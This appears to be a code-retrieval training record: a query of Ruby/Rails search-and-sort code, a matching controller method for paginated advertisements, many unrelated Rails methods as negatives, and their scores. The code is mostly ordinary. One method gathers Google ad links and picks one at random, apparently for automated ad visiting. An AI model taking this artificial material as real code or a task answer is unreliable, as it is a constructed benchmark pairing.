"def set_page\n @articlespage = 'active'\n end", "def set_page_data\n @page_title = \"Dragos | My Portfolio\"\n @seo_keywords = \"Dragos Portfolio\"\n end", "def show\n @article = Article.friendly.find(params[:id])\n impressionist(@article)\n @widgetArticle = Article.all.paginate(page: params[:page], :per_page => 3)\n @categories = Category.all\n end", "def page\n\n end", "def dashboard\n @meta_data = {:page_title => \"Chicago Ideas Week | Dashboard\", :og_image => \"\", :og_title => \"Chicago Ideas Week\", :og_type => \"article\", :og_desc => \"\"}\n @user = current_user\n end", "def showall\n session[:adult] = true if params[:adult]\n if @story.is_adult? && !can_see_adult?\n @page_title = 'Warning'\n render 'users/adulttemp'\n else\n @page_title = @story.title\n render :show, locals: { chapters: @story.get_chapters }\n end\n end", "def first_mandate\n # renders static page\n end", "def mission(page)\n\tend", "def index\n get_own_lessons\n if @page > @pages_amount && @pages_amount != 0\n @page = @pages_amount\n get_own_lessons\n end\n render_js_or_html_index\n end", "def index\n @admin_advertises = Admin::Advertise.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 12)\n\n session[:urlBack] = request.original_url\n end", "def show\n @page_title = @podcast.title\n @page_description = @podcast.extrait\n @page_keywords = \"Podcasts, enseignements, Parole de Dieu, méditation, Jesus Christ\"\n\n set_meta_tags og: {\n title: @podcast.title,\n type: \"article\",\n url: request.url,\n image: rails_blob_path(@podcast.cover)\n }\n\n # adding acticle og\n set_meta_tags article: {\n published_time: @podcast.created_at,\n modified_time: @podcast.updated_at,\n section: @podcast.type_podcast.name,\n tag: \"MPPP\"\n }\n\n # adding twitter card\n set_meta_tags twitter: {\n title: @podcast.title,\n creator: \"MPPP\",\n card: @podcast.extrait,\n site: request.url,\n image: rails_blob_path(@podcast.cover)\n }\n track \"Viewed Podcast\", title: @podcast.title\n end", "def show\n @presentation = Presentation.in_conference(current_conference).\n find(params[:id])\n set_menu(@presentation.is_poster? ? :posters : :sessions)\n restrict_disclosure(@presentation)\n # Move @more_like_this to inside the cache because slow\n\n if !@presentation.session.ad_category.blank?\n @ads = Presentation::Ad.in_conference(current_conference).\n where(:ad_category => @presentation.session.ad_category).\n select{|ad| !ad.title.blank?}\n else\n @ads = []\n end\n end", "def main_homepage\n\t\t\t@section = Section.homepage\n\t\t\t@main_homepage = @page = Asset.find_by_section_id_and_resource_type(@section.id, 'Homepage')\n\t\t\t@is_homepage = true\n\t\t\thomepage\n end", "def set_ads\n if (rand(3) == 1)\n @ads = [\"adsense\"]\n else\n @ads = [\"paypal\"]\n end\n end", "def index\n \tset_user\n @ads = get_all_ads\n end", "def template_page(site); end", "def show\n @story = Story.find(params[:id])\n\n # Set meta information\n @page_title = @story.title\n @page_description = @story.subtitle\n\n if Arrowhead.is_arrowhead_story? @story\n @arrowhead_stories = Arrowhead.stories\n @i = @arrowhead_stories.find_index(@story)\n if @i\n @prev = @i > 0 ? @i - 1 : nil \n @next = @i < @arrowhead_stories.length - 1 ? @i + 1 : nil\n end\n set_meta_tags :og => {\n :title => @story.title,\n :description => @story.subtitle,\n :type => 'article',\n :url => url_for(@story),\n :image => URI.join(root_url, view_context.image_path('arrowhead_ogimage.jpg'))\n }\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story.to_json(:include => { :scenes => { :include => :paragraphs }}) }\n end\n end", "def index\n @page_title = 'Stories'\n if params[:tag_id]\n @obj = Tag.find_by_name(params[:tag_id])\n elsif params[:character_id]\n @obj = Character.find(params[:character_id])\n elsif params[:source_id]\n @obj = Source.find(params[:source_id])\n else\n @base_stories = Story.all\n unless can_see_adult?\n @base_stories = Story.non_adult(@base_stories)\n .or(stories.where(user: current_user_or_guest))\n end\n end\n if @obj.present?\n @base_stories = @obj.visible_stories(current_user_or_guest)\n # @page_title.prepend(@obj.name + ' ')\n @page_title += \" in \\\"#{@obj.name}\\\"\"\n end\n\n @base_stories = do_filtering(@base_stories)\n # exact_filters = {}\n # fuzzy_filters = {}\n #\n # %i[tags sources characters].each do |tp|\n # exact_filters[tp] = params[\"filter_#{tp}\".to_sym]\n # fuzzy_filters[tp] = params[\"other_#{tp}\".to_sym]\n # end\n # @base_stories = Story.tsc_wrapper(@base_stories, exact_filters, true)\n # @base_stories = Story.tsc_wrapper(@base_stories, fuzzy_filters, false)\n\n # query_params = {\n # tags: params[:other_tags],\n # sources: params[:other_sources],\n # characters: params[:other_characters]\n # }\n # @base_stories = Story.tsc_search(@base_stories, query_params)\n # @base_stories = Story.tsc_search(@base_stories, params)\n\n # sort_by = params[:sort_by] ? params[:sort_by].to_sym : :updated_at\n # sort_dir = params[:sort_direction] ? params[:sort_direction].to_sym : :desc\n\n # if sort_by == :num_comments\n # @stories = @base_stories.left_outer_joins(:comments)\n # .select('stories.*, COUNT(comments.*)')\n # .group('stories.id')\n # .order(\"COUNT(comments.*) #{sort_dir}\")\n # else\n # @stories = @base_stories.order(sort_by => sort_dir)\n # end\n\n # unless can_see_adult?\n # # @base_stories = @base_stories.reject(&:is_adult?)\n # @base_stories = Story.non_adult(@base_stories)\n # end\n\n @stories = Story.s_sort(@base_stories, params[:sort_by], params[:sort_direction])\n @stories = @stories.paginate(page: params[:page], per_page: 10)\n end", "def default\r\n can_view, msg = dc_user_can_view(@parent, @page)\r\n return msg unless can_view\r\n\r\n html = \"<div class=\\\"#{@page.div_class} #{@opts[:div_class]}\\\">\"\r\n html << dc_page_edit_menu() if @opts[:edit_mode] > 1\r\n @parent.page_title = @page.title.blank? ? @page.subject : @page.title\r\n html << @page.body\r\n # render poll if defined\r\n if @page.dc_poll_id\r\n @opts.merge!(poll_id: @page.dc_poll_id, return_to: @parent.request.url, method: nil)\r\n comment = DcPollRenderer.new(@parent, @opts)\r\n html << \"<div class='wrap row'>#{comment.render_html}</div>\"\r\n @css << \"\\n#{comment.render_css}\"\r\n end\r\n # also add iframe\r\n html << iframe() << '</div>'\r\nend", "def set_page_defaults\n @site_defaults = SiteConfiguration.all\n @page_title ||= 'Aeromotion Pages'\n @seo_keywords ||= 'Aeromotion, Tutorials, Workouts, Best Trainings, Free Videos, Personal, Best'\n end", "def index\n @stories = @current_tag ? Story.tagged_with(@current_tag.name) : @current_channel.stories\n @stories = @stories.in_category(@current_category) if @current_category\n @stories = @stories.paginate(:page => params[:page], :per_page => 20)\n\n @feed_title = @current_category ? \"All #{@current_category.name} Stories \" : \"All Stories \"\n @feed_title += @current_tag ? \"Tagged with #{@current_tag.name}\" : \"in #{@current_channel.name} Channel\"\n\n @site_description += ',' + @stories.map(&:title).join(',')\n \n respond_to do |format|\n format.html\n format.atom do \n render :layout => false\n end\n end\n end", "def index\n @advertisements = Advertisement.page(params[:page])\n end", "def set_story_page\n @story_page = StoryPage.find(params[:id])\n end", "def add_pages\n exhibit.feature_pages.published.find_each do |p|\n sitemap.add sitemap.exhibit_feature_page_path(exhibit, p), priority: 0.8, lastmod: p.updated_at\n end\n\n exhibit.about_pages.published.find_each do |p|\n sitemap.add sitemap.exhibit_about_page_path(exhibit, p), priority: 0.5, lastmod: p.updated_at\n end\n end", "def show\n @banner_ad = \"/31902320/Shows_Leaderboard\"\n @banner_id = 'div-gpt-ad-1411894829676-0'\n @dfp_header = \"shows\"\n @active=\"shows\"\n @show_follow_status = ''\n # @f = @show.user_followers.random(5)\n # @followers = (@f.compact!).nil? ? @f : @f.compact!\n\n @followers = @show.user_followers.offset(rand(@show.user_followers.count)).limit(5)\n \n if(@episode.nil?) \n @episode = @show.episodes.first\n end\n\n\n @ga_page_params = \", {'dimension1': '#{@episode.creator.id}', 'dimension2': '#{@episode.id}'}\"\n\n #we want to have different items based on single or episodic info\n @description = @show.single? ? @show.description : @episode.description\n @title = @show.single? ? @show.title : \"#{@show.title} : #{@episode.title}\"\n\n \n\n#meta fun\n\n # @meta_description = @show.single? ? \"#{@show.title} : #{@episode.description}\" : \"#{@show.title} : #{@episode.title} - #{@episode.description}\"\n @meta_description = \"#{@title} - #{@episode.description}\"\n if(!@episode.tag_list.empty?)\n @page_keywords = @episode.tag_list.to_s\n end\n if(!@episode.keyword_list.empty?)\n @page_keywords = @episode.keyword_list.to_s\n end\n # if current user following\n if !current_user.nil? && current_user.following?(@show)\n @show_follow_status = \"You are following\"\n else\n @show_follow_status = \"status\"\n end\n \n @likers = @episode.votes.up.by_type(User).voters.compact\n # @voters = Votes.where(votable: @episode).random(3).map(&:voter)\n end", "def index\n if current_user.try(:admin?)\n @advertisements = Advertisement.page(params[:page]).per(10).order(\"updated_at DESC\")\n else\n @advertisements = Advertisement.where(state: \"published\").page(params[:page]).per(10).order(\"updated_at DESC\")\n end\n end", "def show\n # set_meta_tags MetaTag.new({host: request.host, movie: @movie}).hash_options\n impressionist(@post, nil, { unique: [:session_hash] })\n @post.impressionist_count(:filter => :params)\n\n set_meta_tags title: @post.title,\n site: 'Cat Blog',\n description: @post.summary,\n keywords: @post.keywords,\n og: {\n title:'Cat Blog',\n description: @post.summary,\n type: 'website',\n url: post_url(@post)\n }\n\n\n\n end", "def index\n @bottom_ads = BottomAd.all\n end", "def index\n @ads = @org.ads\n end", "def index\n @adverts = Advert.paginate(:page => params[:page], :per_page => 10).order('id DESC').accessible_by(current_ability)\n end", "def setup\n @page = pages(:homepage)\n end", "def full_page\n end", "def home\n params[:lang] ||= 'English'\n if params[:category].blank? or params[:category].downcase.eql? 'all'\n @matches = Match.homepage\n else\n @matches = Match.homepage.category(params[:category])\n end\n\n if params[:news_category].blank? or params[:news_category].downcase.eql? 'all'\n @articles = Article.approved.front_page.get_lang(params[:lang]).news_category(NewsCategory.first.id)\n else\n @articles = Article.approved.front_page.get_lang(params[:lang]).news_category(params[:news_category])\n end\n\n @momentnews = Article.approved.get_lang(params[:lang]).news_of_the_moment\n @blogs = Blog.all :limit => 5, :include => [:user, :slug]\n if params[:video_category].nil? or params[:video_category].eql? 'all'\n @videos = Video.all :limit => 3, :include => :user\n else\n @videos = Video.find_by_video_category_id(params[:video_category], :limit => 3, :include => :user)\n end\n @albums = Album.all :limit => 6, :include => :user, :order => 'created_at DESC'\n @advert = Advert.random('main_page')\n @latest_posts = Post.all :limit => 12, :order => 'updated_at DESC'\n end", "def show\n @talk = Talk.find(params[:id])\n @chapters = @talk.chapters.all\n @page_title = \"#{@talk.name}\"\n @meta_data = {:page_title => \"#{@talk.name}\", :og_image => \"#{@talk.banner_src}\", :og_title => \"#{@talk.name} | Chicago Ideas Week\", :og_type => \"article\", :og_desc => (@talk.description) ? \"#{@talk.description[0..200]}\" : \"\"}\n end", "def app_landing\n end", "def show\n # @most_hotdeals = Hotdeal.order(\"impressions_count DESC\").limit(10)\n impressionist(@hotdeal)\n set_meta_tags title: @hotdeal.h_title,\n site: 'Oh,igottabuythis',\n revierse: true,\n description: @hotdeal.h_spare_21,\n keywords: 'deals, discounts',\n twitter: {\n card: \"summary\",\n site: \"@OhIgottabuythis\",\n title: @hotdeal.h_title,\n description: @hotdeal.h_spare_21,\n image: @hotdeal.h_image\n },\n og: {\n title: @hotdeal.h_title,\n description: @hotdeal.h_spare_21,\n type: 'website',\n url: hotdeal_url(@hotdeal),\n image: @hotdeal.h_image\n }\n end", "def show\n @more_deals = Storepromotion.where(spcategory_id: @storepromotion.spcategory_id)\n impressionist(@storepromotion)\n set_meta_tags title: @storepromotion.sp_title,\n site: 'Oh,igottabuythis',\n revierse: true,\n description: @storepromotion.sp_description,\n keywords: @storepromotion.sp_title,\n twitter: {\n card: \"summary\",\n site: \"@OhIgottabuythis\",\n title: @storepromotion.sp_title,\n description: @storepromotion.sp_description,\n image: @storepromotion.sp_image\n },\n og: {\n title: @storepromotion.sp_title,\n description: @storepromotion.sp_description,\n type: 'website',\n url: storepromotion_url(@storepromotion),\n image: @storepromotion.sp_image\n }\n end", "def index\n @associate = Associate.find_by_name_for_url(params[:associate_id])\n kiss_record \"View blog\"\n if admin_signed_in?\n @posts = @associate.posts.page(params[:page]).per(5)\n else\n @posts = @associate.posts.where(:draft => false).page(params[:page]).per(5)\n end\n\n end", "def assign_pages!; end", "def create\n @ad = Ad.new(ad_params)\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = :ad_was_successfully_created.l\n format.html { redirect_to ad_url(@ad) }\n else\n format.html { ruby_code_from_view.ruby_code_from_view do |rb_from_view|\n home_url \n csrf_meta_tag \n page_title \n if @meta \n @meta.each do |key| \n key[1] \n key[0] \n end \n end \n if @rss_title && @rss_url \n auto_discovery_link_tag(:rss, @rss_url, {:title => @rss_title}) \n end \n stylesheet_link_tag 'community_engine' \n if forum_page? \n unless @feed_icons.blank? \n @feed_icons.each do |feed| \n auto_discovery_link_tag :rss, feed[:url], :title => \"Subscribe to '#{feed[:title]}'\" \n end \n end \n end \n yield :head_css \n \n unless configatron.auth_providers.facebook.key.blank? \n \n end \n link_to configatron.community_name, home_path, :class => 'navbar-brand' \n \n if current_page?(site_clippings_path) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :clippings.l, site_clippings_path \n \n if params[:controller] == 'events' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :events.l, events_path \n \n if params[:controller] == 'forums' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :forums.l, forums_path \n \n if current_page?(popular_path) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :popular.l, popular_path \n \n if current_page?(users_path) || (params[:controller] == 'users' && !@user.nil? && @user != current_user) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :people.l, users_path \n \n if @header_tabs.any? \n for tab in @header_tabs \n link_to tab.name, tab.url \n end \n end \n if logged_in? \n if current_user.unread_messages? \n if params[:controller] == 'messages' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n user_messages_path(current_user) \n current_user.unread_message_count \n fa_icon \"envelope inverse\" \n end \n end \n \n \n \n render_jumbotron \n container_title \n \n @page_title=:new_ad.l \n link_to :back.l, ads_path, :class => 'btn btn-default' \n bootstrap_form_for(@ad, :layout => :horizontal) do |f| \n f.text_field :name \n f.text_area :html, :class => \"rich_text_editor\" \n f.select :frequency, Ad.frequencies_for_select \n f.select :audience, Ad.audiences_for_select \n f.form_group :ad_time_constrained do \n f.check_box :published, :label => :published.l + '?' \n f.check_box :time_constrained, :label => :time_constrained.l + '?' \n end \n @ad.time_constrained? ? 'block' : 'none' \n f.datetime_select :start_date \n f.datetime_select :end_date \n \n f.text_field :location \n f.primary :save.l \n end \n \n render_widgets \n \n if show_footer_content? \n image_tag 'spinner.gif', :plugin => 'community_engine' \n :loading_recent_content.l \n end \n \n :community_tagline.l \n javascript_include_tag 'community_engine' \n tiny_mce_init_if_needed \n if show_footer_content? \n end \n \n \n\nend\n }\n end\n end\n end", "def index\n @in_play_stories = current_user.in_play_stories\n @friends_stories = current_user.finished_friends_stories\n @top_stories = current_user.top_stories\n @your_stories = current_user.finished_own_stories\n end", "def index\n @tbl_slide_settings = TblSlideSetting.all\n session[:fromaddslidebanner]=0\n end", "def index\n @page_elements = @page.page_elements\n if (@page)\n @mainelements = @page.page_elements.where(visible: true,sidebar: false)\n @sidebarelements = @page.page_elements.where(visible:true,sidebar: true)\n end\n if(@mainelemnents) && (@mainelements.count > 1)\n @mainelements = @mainelements.sort_by{ |x| x[:displayIndex]}\n end\n @poster = @council.posts\n @rest = @page.page_elements.where(visible: false)\n end", "def advertisement\n if @advertising_platform.active?\n if @banner = @advertising_platform.view_relevant_banner\n render layout: false\n return\n end\n end\n render nothing: true, status: 401\n end", "def set_static_page_metatags! tags, record\n if record.role == 'home'\n tags['title'] = translate('we_meditate')\n image = MediaFile.find_by(id: record.content_blocks.first['data']['image']['id']) if record.content_blocks.present?\n elsif record.parsed_content.present? && record.parsed_content['mediaFiles'].present?\n image = MediaFile.find_by(id: record.parsed_content['mediaFiles'].first)\n end\n\n tags['og:image'] = image_url image.file_url if image.present?\n tags['og:type'] = 'website' if %w[home contact privacy articles meditations subtle_system].include?(record.role)\n end", "def sample_page\n\n end", "def show\n redirect_to @story.first_chapter\n end", "def pages=(_arg0); end", "def index\n\t\t@username = \"funkyb\" #added a username\n\t\t@righthere_rightnow = Time.now\n\n\n\t\t#@stories = [\"Google\", \"Yahoo\", \"kobestarr\", \"iTunes\", \"dancing spiderman\"]\n\n\t\t#set the variables @stories to all of the records in our story db\n\n\t\t#@stories = Story.order(\"votes_count desc, title asc\" )\n\n\n\t\t# if it has ?sort=recent in the url then sort by \n\t\t# created at\n\t\t# if it has nothing then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\n\t\t\t#sort by created_at\n\t\t\t@stories = Story.order(\"created_at desc\" )\n\n\t\telsif params[:sort] == \"featured\"\n\n\t\t\t#sort by featured\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t.order(\"is_featured desc, title asc\" )\n\n\t\t\t\t\n\t\telse\n\t\t\t#sort by popular\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\" )\n\t\tend\n\n\t\t# this is where we are gonna add the pagination\n\t\t# overwrite the @stories variable with a paginated version\n\t\t# infor from documentation User.page(7).per(50)\n\t\t@stories = @stories.page(params[:page]).per(4)\n\t\t\n\tend", "def associate_page(page); end", "def index\n@magazine = Magazine.find_by_id(params[:magazine_id])\n@ads = @magazine.ads\nend", "def kopal_layout_after_page_meta\n\n end", "def set_page\n end", "def stories() @stories = Stories.new end", "def kopal_layout_before_page_meta\n\n end", "def add_template_pages; end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n if current_user and current_user.is_admin?\n @blog_posts = BlogPost.order(\"created_at desc\").page(params[:page])\n else\n @blog_posts = BlogPost.order(\"created_at desc\").where(:is_draft => false).page(params[:page])\n end\n @page = Page.where({ :slug => \"blog\" }).first\n @section = Section.find_by_name(\"Blog\")\n @featured_product = Feature.where(:is_active => true).first\n end", "def index\n @ads = Ad.all \n end", "def add\n if page.url && !Ink.config['docs_mode']\n Ink.site.pages << page unless Helpers::Path.find_page(page)\n end\n end", "def index\n \t@categories = Category.all\n \t@ads = Ad.all\n end", "def index\n @stories = Story.all.order(date: :desc)\n add_breadcrumb @stories.first.calls_to_action_lang(current_user), \"/admin/stories\"\n\n @title = Title.where(\"section_name = 'stories'\")\n if params[:title_thing].present?\n @the_title = Title.find(params[:title_thing])\n @the_title.update(title: params[:title])\n end\n if params[:fr_title_thing].present?\n @the_title = Title.find(params[:fr_title_thing])\n @the_title.update(fr_title: params[:fr_title])\n end\n end", "def articles\n\n end", "def advert(driver)\n raise Error.new(ARGUMENT_UNDEFINE, :values => {:variable => \"driver\"}) if driver.nil?\n link = nil\n links = []\n count_try = 0\n adverts = []\n begin\n DOMAINS.each { |domain|\n frame = driver.domain(domain)\n\n if frame.domain_exist?\n adverts += frame.link(\"/.*googleads.g.doubleclick.net.*/\").collect_similar\n adverts += frame.link(\"/.*googleadservices.*/\").collect_similar\n adverts.each{|a| @@logger.an_event.debug \"advert : #{a.text}\"}\n links += adverts\n else\n @@logger.an_event.debug \"frame with domain <#{domain}> not exist\"\n end\n=begin\n adverts.map! { |f|\n href = f.fetch(\"href\")\n frame.link(href) unless /.*googleads.g.doubleclick.net.*/.match(href).nil?\n }.compact!\n=end\n }\n raise \"no advert link found\" if links.empty?\n\n rescue Exception => e\n @@logger.an_event.warn \"#{e.message}, try #{count_try}\"\n sleep 5\n count_try += 1\n retry if count_try < 3\n @@logger.an_event.error e.message\n raise Error.new(NONE_ADVERT, :error => e)\n\n else\n @@logger.an_event.info \"count advert #{self.class.name} links : #{links.size}\"\n link = links.sample\n @@logger.an_event.debug \"advert link chosen #{link}\"\n\n end\n\n link\n\n end", "def index\n @counter = website.brand.increment_homepage_counter # reset daily\n events = website.value_for('countdown_next_event')\n @next_event = ''\n if events\n events.split(',').reverse.each do |d|\n @next_event = d if d.to_date > Date.today\n end\n end\n @countdown_container = website.value_for('countdown_container')\n news_limit = website.homepage_news_limit || 4\n @news = News.all_for_website(website, limit: news_limit)\n begin\n @youtube = website.value_for('youtube').to_s.match(/\\w*$/).to_s\n rescue\n @youtube = false\n end\n @features = website.features\n\n @featured_products = website.featured_products\n @featured_video = website.featured_video\n @current_promotions = Promotion.current_for_website(website)\n\n respond_to do |format|\n format.html {\n campaign = \"#{website.brand.name}-#{Date.today.year}\"\n if website.teaser.to_i >= 1 && !(cookies[campaign])\n teaser\n else\n render_template\n end\n }\n format.xml {\n product_families = ProductFamily.parents_with_current_products(website, I18n.locale)\n current_promotions = Promotion.all_for_website(website)\n render xml: product_families + @news + current_promotions\n }\n end\n end", "def index\n #binding.pry\n #@blogs = Blog.new_first\n @blogs = Blog.new_first.page(params[:page]).per(5)\n #byebug\n #@blogs = Blog.featured_blogs\n #binding.pry\n @page_title = \"Blogs\"\n end", "def set_page\n @page = Page.published.friendly.find(params[:id])\n @sections = @page.sections.published.sorted\n @subpages = @page.subpages.published.sorted\n end", "def homepage\n page.homepage\n end", "def index\n\t\t@username = \"trev\"\n\t\t@now = Time.now\n\n\t\t# @stories = [\"Google\", \"Facebook\", \"Twitter\", \"blinq\"]\n\n\t\t#set the variable @stories to all the records in our database table\n\t\t#@stories = Story.order(\"votes_count desc, title asc, created_at desc\")\n\n\n\t\t#if it has ?sort=recet in the url, then sort by created at, if it has nothing sort by popular ones\n\n\t\tif params[:sort] == \"recent\"\n\t\t\t#sort by created at\n\t\t\t@stories = Story.order(\"created_at desc\")\n\n\t\telsif params[:sort] == \"featured\"\n\n\t\t\t#sort by featured\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t\t\t.order(\"id_featured desc, title asc\")\n\t\t\t\t\n\n\t\telse\n\t\t\t#sort by popular\n\t\t\t@stories = Story.order(\"votes_count desc, title asc, created_at desc\")\n\t\tend\n\n\t\t#add in my pagination\n\t\t#overwrite the @stories variabl with a paginated version\n\t\t@stories = @stories.page(params[:page]).per(20)\n\n\n\tend", "def index\n page = 1\n page = params[:page] if params[:page]\n @stories = Story.paginate :page => page, :order => 'created_at DESC', :per_page => 5\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end", "def page_load; end" ]
[ "0.66294193", "0.62805545", "0.6124563", "0.60792094", "0.60645753", "0.6016941", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.6002153", "0.5988614", "0.5985813", "0.5944787", "0.59198684", "0.59119475", "0.58848715", "0.58848715", "0.586808", "0.58262026", "0.5810832", "0.5784015", "0.57590544", "0.5758593", "0.5718792", "0.57019156", "0.5692266", "0.5685548", "0.5673434", "0.5671402", "0.56424373", "0.56368256", "0.56341803", "0.56244254", "0.56028295", "0.5595971", "0.5594434", "0.5591428", "0.5554891", "0.55545163", "0.55417985", "0.5535944", "0.5535895", "0.55326325", "0.5532252", "0.5530264", "0.5519812", "0.5512454", "0.5505215", "0.55007493", "0.54995257", "0.54953724", "0.5476606", "0.5471249", "0.54671776", "0.54658157", "0.5458448", "0.54478604", "0.54290116", "0.54246044", "0.54177594", "0.5415933", "0.54130596", "0.54093075", "0.540929", "0.5407273", "0.54056436", "0.54022163", "0.53981215", "0.5380862", "0.5374682", "0.537005", "0.5367369", "0.53660905", "0.5363032", "0.5363032", "0.5363032", "0.5363032", "0.5363032", "0.5354099", "0.53484184", "0.5340882", "0.533411", "0.53303343", "0.532786", "0.5324389", "0.53197247", "0.53160596", "0.53144616", "0.53124875", "0.531136", "0.53079087", "0.5307455" ]
0.6842739
0
~ def index ~ page = params[:page].blank? ? 1 : params[:page] ~ sort = case params['sort'] ~ when "sponser_name" then "sponser_name" ~ when "created_at" then "created_at" ~ when "title" then "title" ~ when "position" then "parient_id" ~ when "sponser_name_reverse" then "sponser_name DESC" ~ when "created_at_reverse" then "created_at DESC" ~ when "title_reverse" then "title DESC" ~ when "position_reverse" then "parient_id DESC" ~ end ~ sort = sort.blank? ? "created_at DESC" : sort ~ if !params[:search].blank? ~ condition = ["title like ? or sponser_name like ?", "%"+params[:search]+"%","%"+params[:search]+"%"] ~ else ~ condition = "" ~ end
def stories_header @story = Story.find_by_id(params[:story_id],:select => "id,title") @adver_id = params[:id] sort = case params['sort'] when "sponser_name" then "sponser_name" when "created_at" then "created_at" when "status" then "status" when "sponser_name_reverse" then "sponser_name DESC" when "created_at_reverse" then "created_at DESC" when "status_reverse" then "status DESC" end page = params[:page].blank? ? 1 : params[:page] if !params[:search].blank? condition = [ "sponser_name like ? and parient_id LIKE ?", "%"+params[:search]+"%",params[:id]] else condition = [ "parient_id LIKE ?", params[:id]] end @adv = Advertisement.paginate :per_page=>5, :page=>page,:conditions => condition,:order => sort end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n\n filter = \"\"\n #Параметры быстрой фильтрации грида\n filter = get_qsearch_condition(filter,params[:search])\n #Параметры фильтрации грида\n if not (params[:filter].nil? or params[:filter].empty?) then\n filter = get_string_condition(filter,'name_f',params[:filter])\n filter = get_string_condition(filter,'name_i',params[:filter])\n filter = get_string_condition(filter,'name_o',params[:filter])\n filter = get_string_condition(filter,'address',params[:filter])\n filter = get_string_condition(filter,'work_place',params[:filter])\n filter = get_string_condition(filter,'work_position',params[:filter])\n filter = get_string_condition(filter,'description',params[:filter])\n filter = get_integer_condition(filter,'sex',params[:filter])\n filter = get_date_condition(filter,'birth_date',params[:filter])\n filter = get_age_condition(filter,'age','birth_date',params[:filter])\n end\n\n #Максимальное кол-во строк в гриде\n @maxrows = 100\n if not (params[:maxrows].nil? or params[:maxrows].empty?) then\n @maxrows = params[:maxrows].to_i\n end\n if @maxrows > 100 or @maxrows <= 0 then\n @maxrows = 100\n end\n\n if not (params[:sorting].nil? or params[:sorting].empty?) then\n #order\n order = \" \"\n for i in 0..params[:sorting].count-1 do\n sortval = params[:sorting][i.to_s]\n if sortval[:dataKey] == \"age\" then\n order += \" birth_date\"\n else\n order += \" \" + sortval[:dataKey]\n end\n if sortval[:sortDirection] == 'descending' then\n order += \" desc\"\n end\n\n if i != params[:sorting].count-1 then\n order += \",\"\n end\n end\n else\n order = \"name_f\"\n end\n order = sanitize_sql_local(order)\n\n if filter.nil? or filter.empty? then\n @patients = Patient.find(:all, :order=> order, :limit => @maxrows + 1, :offset =>0 )\n else\n @patients = Patient.find(:all,:conditions => filter.to_s, :order=> order, :limit => @maxrows + 1, :offset =>0 )\n end\n\n if @patients.count > @maxrows then\n @pages = 2\n else\n @pages = 1\n end\n @page = 1\n\n @can_edit = is_rights_patients_edit\n\n respond_to do |format|\n format.js # index.html.erb\n format.json #{ render json: @patients }\n format.xml { render xml: @patients }\n end\n end", "def index\n #@pacientes = Paciente.search(params[:search]).order(sort_column + ' ' + sort_direction).paginate(:per_page => 5, :page => params[:page]) \n #@pacientes = Paciente.joins(:pessoa).search(params[:search]).paginate(:per_page => 7, :page => params[:page]).order('nome') \n @pacientes = Paciente.joins(:pessoa).search(params[:search]).paginate(:per_page => 5, :page => params[:page]).order(params[:sort]) \n #@pacientes = Paciente.all\n #@pacientes = Paciente.paginate(:page=>params[:page],:per_page=>10).order('nome')\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @pacientes }\n #end\n end", "def index\n conditions = []\n params[:per_page] = perpage if params[:per_page].nil?\n params[:page] = 1 if params[:page].blank?\n unless params[:search].blank?\n conditions.push \"title like ? or description like ?\"\n conditions.push \"%#{params[:search]}%\"\n conditions.push \"%#{params[:search]}%\"\n end\n @kf_sort_types = Kf::SortType.order(\"id DESC\").paginate(:page => params[:page], :per_page => params[:per_page] ,:conditions => conditions)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kf_sort_types }\n end\n end", "def index\n conditions = []\n where = \"\"\n params[:per_page] = perpage if params[:per_page].nil?\n params[:page] = 1 if params[:page].blank?\n unless params[:search].blank?\n conditions.push \"name like ? or description like ?\"\n conditions.push \"%#{params[:search]}%\"\n conditions.push \"%#{params[:search]}%\"\n end\n where = \"deep = #{params[:deep]}\" unless params[:deep].blank?\n @kf_sorts = Kf::Sort.select(\"* , CONCAT(name , ' | ' , description) as ectitle\").order(\"id DESC\").where(where).paginate(:page => params[:page], :per_page => params[:per_page],:conditions => conditions)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kf_sorts }\n end\n end", "def index\n\t\t \t@q = params[:q]\n\t\t \tif @q\n\t\t \t\t@pedidos = Spree::Pedido.joins(:user).joins(:material).joins(:trabajo).where(\"spree_pedidos.estado_pago = 2 AND spree_pedidos.state ILIKE ? OR spree_pedidos.nombres ILIKE ? OR spree_pedidos.apellidos ILIKE ? OR spree_users.nombre ILIKE ? OR spree_materials.nombre ILIKE ? OR spree_trabajos.nombre ILIKE ?\",\"%#{@q}%\",\"%#{@q}%\",\"%#{@q}%\",\"%#{@q}%\",\"%#{@q}%\",\"%#{@q}%\").order(created_at: :DESC).page(params[:page]).per(6)\n\t\t \telse \n\t\t \t@pedidos = Spree::Pedido.where(estado_pago: 2).order(created_at: :DESC).page(params[:page]).per(20)\n\t\t \tend\n\t\t end", "def index\n\n if params[:search]\n @rhs = Rh.search(params[:search]) \n else \n @rhs = Rh.order(\"Nome\")\n end\n\n end", "def index\n @search = (params[:term] ? params[:term] : params[:search])\n @order = get_order()\n\n if params[:contratado] == \"1\"\n @defcontratacao = \"contratacoes.id IS NULL\"\n @title = \"Pessoas (não contratadas)\"\n elsif params[:contratado] == \"2\"\n @defcontratacao = \"contratacoes.id IS NOT NULL\"\n @title = \"Pessoas (contratadas)\"\n else\n @defcontratacao = \"\"\n @title = \"Pessoas\"\n 